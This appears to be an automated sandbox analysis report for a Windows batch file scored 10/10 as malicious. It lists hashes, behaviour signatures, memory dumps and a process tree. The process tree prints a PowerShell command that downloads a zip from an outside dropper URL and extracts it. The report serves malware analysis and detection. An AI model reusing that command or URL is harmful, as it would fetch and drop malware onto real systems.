1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1799s
max time network
1819s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tesy - Copy (8).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2272	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2272	powershell.exe
2652	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2272	powershell.exe
Token: SeDebugPrivilege	2652	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2672 wrote to memory of 2272	2672	cmd.exe	29
PID 2672 wrote to memory of 2272	2672	cmd.exe	29
PID 2672 wrote to memory of 2272	2672	cmd.exe	29
PID 2672 wrote to memory of 2652	2672	cmd.exe	32
PID 2672 wrote to memory of 2652	2672	cmd.exe	32
PID 2672 wrote to memory of 2652	2672	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2652

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4F37D3IGQCEWLYC2DPHG.temp

Filesize
7KB

MD5
d055fc1747c97447da0a4e2d29025e3f

SHA1
2a412c26dd75b56edec74d04cb965f78e118ab1a

SHA256
ec62fa1aebe836d95c99ecd02e8e8622e07f09da1b03626f23ff8e91cf8133a5

SHA512
9b160cb544be1ded6b1a861df247d8af9c7d8fa6ac75779b8f264f5a38c91c7ba5f313cca25a3570a996765821f4c205e01b65e2d8aabed0ff2831aff7551068

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d055fc1747c97447da0a4e2d29025e3f

SHA1
2a412c26dd75b56edec74d04cb965f78e118ab1a

SHA256
ec62fa1aebe836d95c99ecd02e8e8622e07f09da1b03626f23ff8e91cf8133a5

SHA512
9b160cb544be1ded6b1a861df247d8af9c7d8fa6ac75779b8f264f5a38c91c7ba5f313cca25a3570a996765821f4c205e01b65e2d8aabed0ff2831aff7551068

Download Submit
memory/2272-9-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2272-7-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2272-8-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2272-4-0x000000001B3F0000-0x000000001B6D2000-memory.dmp

Filesize
2.9MB

Download
memory/2272-10-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2272-11-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2272-13-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2272-6-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2272-5-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download
memory/2652-20-0x000007FEF46E0000-0x000007FEF507D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-19-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

Filesize
2.9MB

Download
memory/2652-22-0x0000000001F30000-0x0000000001F38000-memory.dmp

Filesize
32KB

Download
memory/2652-21-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2652-23-0x000007FEF46E0000-0x000007FEF507D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-24-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2652-25-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2652-26-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2652-27-0x000007FEF46E0000-0x000007FEF507D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-28-0x000007FEF46E0000-0x000007FEF507D000-memory.dmp

Filesize
9.6MB

Download